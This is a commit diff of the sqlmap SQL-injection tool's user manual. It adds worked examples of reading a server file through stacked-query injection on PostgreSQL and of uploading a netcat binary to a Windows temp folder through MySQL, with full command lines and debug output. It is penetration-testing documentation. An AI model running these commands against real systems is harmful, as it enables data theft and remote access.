Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 576cc97

Browse files
committed
Minor update to the user's manual, almost there to release 0.7 stable!
1 parent b2b2ec8 commit 576cc97

3 files changed

Lines changed: 261 additions & 23 deletions

File tree

doc/README.html

Lines changed: 129 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
<H1>sqlmap user's manual</H1>
99

1010
<H2>by
11-
<A HREF="mailto:[email protected]">Bernardo Damele A. G.</A></H2>version 0.7 release candidate 1, April 22, 2009
11+
<A HREF="mailto:[email protected]">Bernardo Damele A. G.</A></H2>version 0.7, July 25, 2009
1212
<HR>
1313
<EM>This document is the user's manual to use
1414
<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
@@ -3950,16 +3950,120 @@ <H3>Read a file from the back-end DBMS file system</H3>
39503950

39513951
<P>Option: <CODE>--read-file</CODE></P>
39523952

3953-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
3954-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
3953+
<P>It is possible to retrieve the content of files from the underlying file
3954+
system when the back-end database management is system is either MySQL,
3955+
PostgreSQL or Microsoft SQL Server.
3956+
The file specified can be either a text or a binary file, sqlmap will
3957+
handle either cases automatically.</P>
3958+
3959+
<P>The techniques implemented are detailed on the white paper
3960+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
3961+
3962+
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
3963+
<P>
3964+
<BLOCKQUOTE><CODE>
3965+
<PRE>
3966+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --read-file \
3967+
"C:\example.txt" -v2
3968+
3969+
[...]
3970+
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
3971+
web server operating system: Windows 2003 or 2008
3972+
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
3973+
back-end DBMS: PostgreSQL
3974+
3975+
[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
3976+
[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
3977+
[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)),
3978+
CHR(32))
3979+
[hh:mm:53] [INFO] retrieved: 8.3.5,
3980+
[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
3981+
[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
3982+
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
3983+
[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
3984+
[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
3985+
[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
3986+
[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
3987+
[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data
3988+
LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
3989+
CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
3990+
[hh:mm:03] [INFO] retrieved: 1
3991+
[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
3992+
[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
3993+
[hh:mm:03] [DEBUG] cleaning up the database management system
3994+
[hh:mm:03] [DEBUG] removing support tables
3995+
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
3996+
[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
3997+
[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file
3998+
is binary, its content will not be retrieved
3999+
[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
4000+
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
4001+
[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
4002+
[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
4003+
[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
4004+
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM
4005+
sqlmapfile
4006+
[hh:mm:04] [INFO] retrieved: 1
4007+
[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
4008+
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
4009+
||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
4010+
[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
4011+
[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
4012+
[hh:mm:22] [DEBUG] cleaning up the database management system
4013+
[hh:mm:22] [DEBUG] removing support tables
4014+
[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
4015+
C:/example.txt file saved to: '/home/inquis/sqlmap/output/192.168.1.121/files/C__example.txt'
4016+
4017+
[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.1.121'
4018+
4019+
$ cat output/192.168.1.121/files/C__example.txt
4020+
This is a text file
4021+
</PRE>
4022+
</CODE></BLOCKQUOTE>
4023+
</P>
39554024

39564025

39574026
<H3>Write a local file on the back-end DBMS file system</H3>
39584027

39594028
<P>Options: <CODE>--write-file</CODE> and <CODE>--dest-file</CODE></P>
39604029

3961-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
3962-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
4030+
<P>It is possible to upload a local file to the underlying file system when
4031+
the back-end database management is system is either MySQL, PostgreSQL or
4032+
Microsoft SQL Server.
4033+
The file specified can be either a text or a binary file, sqlmap will
4034+
handle either cases automatically.</P>
4035+
4036+
<P>The techniques implemented are detailed on the white paper
4037+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
4038+
4039+
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
4040+
<P>
4041+
<BLOCKQUOTE><CODE>
4042+
<PRE>
4043+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --write-file \
4044+
"/home/inquis/software/netcat/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
4045+
4046+
[...]
4047+
[01:12:29] [INFO] the back-end DBMS is MySQL
4048+
web server operating system: Windows 2003 or 2008
4049+
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
4050+
back-end DBMS: MySQL >= 5.0.0
4051+
4052+
[01:12:29] [INFO] testing stacked queries support on parameter 'id'
4053+
[01:12:29] [INFO] detecting back-end DBMS version from its banner
4054+
[01:12:29] [INFO] retrieved: 5.0.67
4055+
[01:12:36] [INFO] the web application supports stacked queries on parameter 'id'
4056+
[01:12:36] [INFO] fingerprinting the back-end DBMS operating system
4057+
[01:12:36] [INFO] retrieved: C
4058+
[01:12:36] [INFO] the back-end DBMS operating system is Windows
4059+
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
4060+
written on the back-end DBMS file system? [Y/n] y
4061+
[01:12:52] [INFO] retrieved: 31744
4062+
[01:12:52] [INFO] the file has been successfully written and its size is 31744 bytes, same
4063+
size as the local file '/home/inquis/software/netcat/nc.exe.packed'
4064+
</PRE>
4065+
</CODE></BLOCKQUOTE>
4066+
</P>
39634067

39644068

39654069
<H2><A NAME="ss5.9">5.9</A> <A HREF="#toc5.9">Operating system access</A>
@@ -3969,40 +4073,50 @@ <H3>Execute an operating system command</H3>
39694073

39704074
<P>Option: <CODE>--os-cmd</CODE></P>
39714075

3972-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
3973-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
4076+
<P>TODO</P>
4077+
4078+
<P>The techniques implemented are detailed on the white paper
4079+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
39744080

39754081

39764082
<H3>Prompt for an interactive operating system shell</H3>
39774083

39784084
<P>Option: <CODE>--os-shell</CODE></P>
39794085

3980-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
3981-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
4086+
<P>TODO</P>
4087+
4088+
<P>The techniques implemented are detailed on the white paper
4089+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
39824090

39834091

39844092
<H3>Prompt for an out-of-band shell, meterpreter or VNC</H3>
39854093

39864094
<P>Options: <CODE>--os-pwn</CODE>, <CODE>--priv-esc</CODE>, <CODE>--msf-path</CODE> and <CODE>--tmp-path</CODE></P>
39874095

3988-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
3989-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
4096+
<P>TODO</P>
4097+
4098+
<P>The techniques implemented are detailed on the white paper
4099+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
39904100

39914101

39924102
<H3>One click prompt for an out-of-band shell, meterpreter or VNC</H3>
39934103

39944104
<P>Options: <CODE>--os-smbrelay</CODE>, <CODE>--priv-esc</CODE> and <CODE>--msf-path</CODE></P>
39954105

3996-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
3997-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
4106+
<P>TODO</P>
4107+
4108+
<P>The techniques implemented are detailed on the white paper
4109+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
39984110

39994111

40004112
<H3>Stored procedure buffer overflow exploitation</H3>
40014113

40024114
<P>Options: <CODE>--os-bof</CODE>, <CODE>--priv-esc</CODE> and <CODE>--msf-path</CODE></P>
40034115

4004-
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
4005-
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
4116+
<P>TODO</P>
4117+
4118+
<P>The techniques implemented are detailed on the white paper
4119+
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
40064120

40074121

40084122
<H2><A NAME="ss5.10">5.10</A> <A HREF="#toc5.10">Miscellaneous</A>

doc/README.pdf

4.88 KB
Binary file not shown.

0 commit comments

Comments
 (0)